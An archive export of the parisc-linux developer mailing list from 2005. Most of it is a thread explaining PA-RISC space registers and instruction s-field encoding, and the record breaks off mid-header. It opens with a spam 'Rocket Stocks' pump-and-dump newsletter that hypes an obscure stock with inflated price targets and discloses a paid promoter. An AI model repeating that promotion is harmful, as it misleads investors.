NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:21 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Sep 2005 21:59:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 20 Sep 2005 23:59:47 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3208C7D68C;
	Tue, 20 Sep 2005 15:59:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27918-10; Tue, 20 Sep 2005 15:59:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2873A7D68D;
	Tue, 20 Sep 2005 15:59:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DFE877D68A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Sep 2005 15:59:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27918-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Sep 2005 15:59:33 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 51B177D689
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Sep 2005 15:59:33 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 24E1049551D; Tue, 20 Sep 2005 15:59:33 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by palinux.hppa (Postfix) with ESMTP id EDDF9495522
	for <parisc-linux@parisc-linux.org>;
	Tue, 20 Sep 2005 15:59:32 -0600 (MDT)
Original-Received: from mx.calweb.com (unknown [218.146.69.91])
	by cuprel1.hp.com (Postfix) with ESMTP id E65F09CC5
	for <parisc-linux@parisc-linux.org>;
	Sun,  3 Jul 2005 22:10:47 -0700 (PDT)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: BONCY5lLeSEkTr6WZHQhaXN1IGRvb8A0
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25189

ROCKET STOCKS INVESTMENT NEWSLETTER

First we would like to say Thank You to all of our avid readers!  We 
have 
had HUGE success over the last few months and have become one of the 
most 
widely read investment newsletters in the world.  We have accomplished 
this 
by providing timely, accurate information on stocks with the potential 
for 
great returns.

Rocket Stocks is not your father's investment newsletter!  We focus on 
stocks with the potential to go up in value by well over 300%.  That's 
what 
it takes to make it on to our list.  These are stocks for the risk 
tolerant 
investor!  The beauty of this is that it only takes one smart 
investment to 
make serious profits!

Investors, let's make this market work for us!!


New Developments Expected To Move Advanced Powerline Technologies, Inc. 
Stock From $ 0.50 To Over $ 2.50


Symbol: APWL.PK

Please see this site for more information: APWL. info

Current Price:                      $0.50
Short Term Target Price:            $2.50
12 month Target Price:              $4.75


***ABOUT THE COMPANY***


Advanced Powerline Technologies is engaged in the broadband over 
powerline 
industry.  Their business is based on the idea of using existing power 
lines, both in the home and outside, to transmit information.  This 
information includes broadband internet and the development of "the 
21st 
century home" concept in which home appliances and computers are 
networked.  
APWL and others in the industry have exciting plans to turn 
pre-existing 
electrical infrastructure into big business.  APWL has been engaged in 
the 
industry for many years and have been awarded numerous applicable 
patents.

Read on to find more information as to why APWL is our HOT PICK of the 
month!


***NEWS FROM THE INDUSTRY***

New Millennium Research Council (NMRC) has recently released a report 
in 
which they say:

"Many industry watchers and representatives now believe BPL (broadband 
over 
power lines) can dramatically change the landscape of the broadband 
market, 
offering new forms of competition and delivering high-quality service 
to 
remote
areas."

"Is 2005 the year of BPL? There are a number of signs that suggest this 
could be the time the
technology begins its emergence as a viable competitor in the broadband 
market."

"During the past two years, the commercial and media perspectives on 
BPL in 
the United States have
evolved from categorizing the technology as almost ready to really 
here.

"Current research into the BPL industry indicates a belief among some 
experts that the industry may
be primed for real growth in 2005 and beyond."


(CNET NEWS)-February 24, 2004- Earlier this month, the Federal 
Communications Commission proposed rules for utility companies that 
seek to 
offer Internet access through their electricity grids. The FCC hopes 
its 
rules for broadband over power line (BPL) will help jump-start the use 
of 
the grid network to deliver high-speed Net access to U.S. households, 
especially in hard-to-reach rural areas.

(IDG News Service)-April 10, 2005- The European Union's communications 
regulator, the European Commission, launched an initiative on Friday to 
boost the growth of broadband Internet access over power transmission 
lines.


The news on this sector is everywhere.  2005 is the year for Advanced 
Powerline Technologies.


***TOP REASONS TO CONSIDER APWL***

* Advanced Powerline Technologies is poised at the pinnacle of the most 
modern technology since the development of cable fiber optics.

* Advanced Powerline Technologies has fathered a quantum leap forward 
in 
advanced cable free high-resolution video.

* APT's Technology significantly reduces many of the expensive cable 
placements now necessary to bring audio/video and high speed internet 
to the 
end user.

* APT is engaged in acquiring contracts to provide their technology to 
countries and regions where power lines are the norm but in which 
internet 
over telephone lines has not, or can not reach the market.


The time to act is now.  News is out for APWL.  The sector is ready to 
explode onto the scene.  The road is paved for Big Returns on 
investment.

Symbol: (APWL.PK)

Current Price:                      $0.50
Short Term Target Price:            $2.50
12 month Target Price:              $4.75


Please watch this one trade on Tuesday!



We look forward to helping all of our readers make the market work for them.   
If you would like to continue receiving this valuable newsletter just sign here:
stock-tip . info






Information within this email contains "F0RWARD looking statements"
within the meaning of Section 27A of the Securities Act of 1933 and
Section 21B of the Securities Exchange Act of 1934. Any statements that
express or   involve   discussions with respect to predictions,
expectations, beliefs, plans, projections, objectives, goals, 
assumptions or 
future
events or performance are not statements of historical fact and may be
"F0RWARD looking statements."F0RWARD looking statements are based on
expectations, estimates and projections at the time the statements are
made that involve a number of risks and uncertainties which could cause
actual results or events to differ materially from those presently
anticipated. F0RWARD looking statements in this action may be 
identified
through the use of words such as "projects", "foresee", "expects",
"will,"  "anticipates,"  "estimates," "believes,"  "understands" or 
that by
statements indicating certain actions "may," "could," or "might" occur.
As with many micro-cap stocks, today's company has additional risk
factors worth noting. Those factors include: a limited operating 
history,
the company advancing cash to related parties and a shareholder on an
unsecured basis: one vendor, a related party through a majority
stockholder, supplies ninety-seven percent of the company's raw 
materials:
reliance on two customers for over fifty percent of their business and
numerous related party transactions and the need to raise capital. 
These
factors and others are more fully spelled out in the company's SEC
filings. We urge you to read the filings before you invest.  The ROCKET 
ST0CK
Report does not represent that the information contained in this
message states all material facts or does not omit a material fact 
necessary
to make the statements therein not misleading.  All information
provided within this email pertaining to investing, ST0CKS, securities 
must 
be
understood as information provided and not investment advice. The
ROCKET ST0CK Report advises all readers and subscribers to seek advice 
from
a registered professional securities representative before deciding to
trade in ST0CKS featured within this email. None of the material within
this report   shall be construed as any kind of investment advice or
solicitation. Many of these companies are on the verge of bankruptcy. 
You
can lose all your M0NEY by investing in this ST0CK. The publisher of
The ROCKET ST0CK Report is not a registered investment ADVIS0R.
Subscribers should not view information herein as legal, tax, 
accounting or
investment advice. Any reference to past performance(s) of companies 
are
specially selected to be referenced based on the favorable performance 
of
these companies. You would need perfect timing to achieve the results
in the examples given.   There can be no assurance of that happening.
Remember, as always, past performance is never indicative of future
results and a thorough due diligence effort, including a review of a
company's filings, should be completed prior to investing. In 
compliance
with the Securities Act of 1933, Section 17(b), The ROCKET ST0CK Report
discloses the receipt of twelve thousand D0LLARS from a third party
(GEM,Inc.), not an officer, director or affiliate  shareholder  for  
the
circulation  of  this report. GEM, Inc. has a position in the ST0CK 
they
will sell at any time without notice.  Be aware of an inherent conflict
of interest resulting from such compensation due to the fact that this
is a paid advertisement and we are conflicted. All factual information
in this report was gathered from public sources, including but not
limited to Company Websites, SEC Filings and Company Press Releases. 
The
ROCKET ST0CK Report believes this information to be reliable but can 
make
no guarantee as to its accuracy or completeness. Use of the material
within this email constitutes your acceptance of these terms.


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Space registers and how to use them
Date: Sat, 24 Sep 2005 21:43:42 -0600
Lines: 35
Approved: news@gmane.org
Message-ID: <20050925034342.GA1459@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624562 27296 80.91.229.3 (22 Nov 2014 02:49:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:22 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Sep 2005 03:43:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 25 Sep 2005 05:43:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5D3D87D716;
	Sat, 24 Sep 2005 21:43:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00573-01; Sat, 24 Sep 2005 21:43:47 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EB98C7D711;
	Sat, 24 Sep 2005 21:43:46 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 37D357D70C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 21:43:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00344-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 21:43:42 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id B30077D709
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 21:43:42 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 784E7495515; Sat, 24 Sep 2005 21:43:42 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id 4A166494007; Sat, 24 Sep 2005 21:43:42 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: r3lEY9hzeSEkMr6WZHQhaXN1IGRvb4Ds
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25190


There's a certain amount of confusion about how space registers are
specified, so I'm going to explain it for posterity.

There are two types of instruction which reference memory; those with
2-bit 's' fields and those with 3-bit 's' fields.

Instructions with a 3-bit s field are straightforward.  The value of
the s field directly specifies which of the 8 space registers to use.

Instructions with a 2-bit s field have two cases.  If s is 1-3, we use
the corresponding space register (sr1-sr3).  If the value in the s field
is 0, we do not use space register 0.  Instead, we use one of sr4-7 as
determined by the top two bits of the *base register*.

In Linux, sr4-7 are always set to the same value.  When in kernel space,
they are 0.  In user space, they have the value for the task we're
currently executing.

What we were trying to do in pacache.S was use an instruction (flush
instruction cache) as if it were a 2-bit-s instruction when it's actually
a 3-bit-s instruction.  This led to the processor using sr0 instead of
one of sr4-7.  The assembler now errors on this case, causing us to find
a bug.

Just to make things harder, there is a 2-bit-s version of flush
instruction cache, but it's only available on pa2.0 processors, so we
don't want to use it.  Instead we use sr4 (since sr4-7 all have the same
value in Linux).
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Space registers and how to use them
Date: Sun, 25 Sep 2005 11:35:13 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <20050925173513.GA22786@colo.lackof.org>
References: <20050925034342.GA1459@parisc-linux.org>
	<43367383.6030307@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624562 27298 80.91.229.3 (22 Nov 2014 02:49:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:22 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:28:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Sep 2005 17:28:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx001) with SMTP; 25 Sep 2005 19:28:57 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D2D157D673;
	Sun, 25 Sep 2005 11:28:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06175-10; Sun, 25 Sep 2005 11:28:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 403547D674;
	Sun, 25 Sep 2005 11:28:53 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 494657D672
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Sep 2005 11:28:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06286-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Sep 2005 11:28:47 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id C48917D666
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Sep 2005 11:28:47 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 85676495515; Sun, 25 Sep 2005 11:28:47 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 5D4AD49400C
	for <parisc-linux@parisc-linux.org>;
	Sun, 25 Sep 2005 11:28:47 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id AFC50298026;
	Sun, 25 Sep 2005 11:35:15 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22919-05; Sun, 25 Sep 2005 11:35:13 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 452ED298013; Sun, 25 Sep 2005 11:35:13 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <43367383.6030307@tiscali.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DrtEY+oSeSEkc76WZHQhaXN1IGRvbwA+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25191

On Sun, Sep 25, 2005 at 09:53:07AM +0000, Joel Soete wrote:
> Btw can you help me to undurstand the concept of the 4 quadrants as it was 
> spoken in:
> <http://lists.parisc-linux.org/pipermail/parisc-linux/2002-December/018602.html>

A "quadrant" is 1GB of address space. Think of each 1GB of address space
in 4GB as a "quadrant".

> Used in hpux? (documented somewhere?)

Probably.

> Is it related to the usage of sr4-7 as 4 different kernel spaces?

Yes. "2 bit s" field in fdc/fic map each "quadrant" to sr4-7.
ie 0-1GB uses sr4, 1-2GB uses sr5, etc.

John was just saying it doesn't matter since parisc-linux uses
the same value in all four (sr4-7) space registers.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Space registers and how to use them
Date: Sun, 25 Sep 2005 13:43:58 -0400 (EDT)
Lines: 43
Approved: news@gmane.org
Message-ID: <200509251743.j8PHhw4w013823@hiauly1.hia.nrc.ca>
References: <20050925034342.GA1459@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624562 27301 80.91.229.3 (22 Nov 2014 02:49:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:22 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: - Wed Jul 02 21:28:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Sep 2005 17:44:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx056) with SMTP; 25 Sep 2005 19:44:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 852A77D682;
	Sun, 25 Sep 2005 11:44:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06387-09; Sun, 25 Sep 2005 11:44:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 65D7B7D673;
	Sun, 25 Sep 2005 11:44:05 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2C7D67D66F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Sep 2005 11:44:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06286-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Sep 2005 11:44:00 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id A3AF77D66E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Sep 2005 11:44:00 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 4A029495515; Sun, 25 Sep 2005 11:44:00 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by palinux.hppa (Postfix) with ESMTP id 11D4249400C
	for <parisc-linux@parisc-linux.org>;
	Sun, 25 Sep 2005 11:44:00 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j8PHhweT013824; Sun, 25 Sep 2005 13:43:59 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j8PHhw4w013823;
	Sun, 25 Sep 2005 13:43:58 -0400 (EDT)
In-Reply-To: <20050925034342.GA1459@parisc-linux.org> from "Matthew Wilcox" at
	Sep 24, 2005 09:43:42 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: p4REY81ReSEkSr6WZHQhaXN1IGRvbwC3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25192

> Instructions with a 2-bit s field have two cases.  If s is 1-3, we use
> the corresponding space register (sr1-sr3).  If the value in the s field
> is 0, we do not use space register 0.  Instead, we use one of sr4-7 as
> determined by the top two bits of the *base register*.

Actually, there is another twist to the above in wide mode (PSW[W]==1).
Instructions with long displacements always use the implicit addressing
scheme.  The space register bits are used instead to provide a 16-bit
displacement.  At the moment, we need support for some additional
relocations to handle long displacements for all instruction formats
(e.g., we lack support for long displacements in floating point loads
and stores).

Short and indexed instructions behave the same as in 32-bit mode for
s_field==0 (i.e., space register is determined by the top two bits
of the base register).  However, it's an undefined operation to have
a nonzero s_field in unprivileged code.

Regarding GAS, I changed the rules regarding the specification of
space registers in instructions to avoid confusion.  In instructions
that have a 3-bit space register field, it is now a requirement to
explicitly specify the space register field.  The treatment of sr0 in
these instructions is completely different from the treatment in
instructions with 2-bit space register fields (i.e., the base register
selection process isn't used).  There were a couple of entries in
the opcode table that allowed omitting the space register field in
instructions with 3-bit space register fields.  These have been
removed.  Indeed, without doing this, it wouldn't have been possible
to support both the 2 and 3-bit formats for "fic".

As a coding note, it's best not to specify sr0 in instructions which
use the base register selection mechanism.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Space registers and how to use them
Date: Sun, 25 Sep 2005 14:03:55 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <200509251803.j8PI3tLI014517@hiauly1.hia.nrc.ca>
References: <20050925173513.GA22786@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624563 27305 80.91.229.3 (22 Nov 2014 02:49:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:23 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:28:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Sep 2005 18:04:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
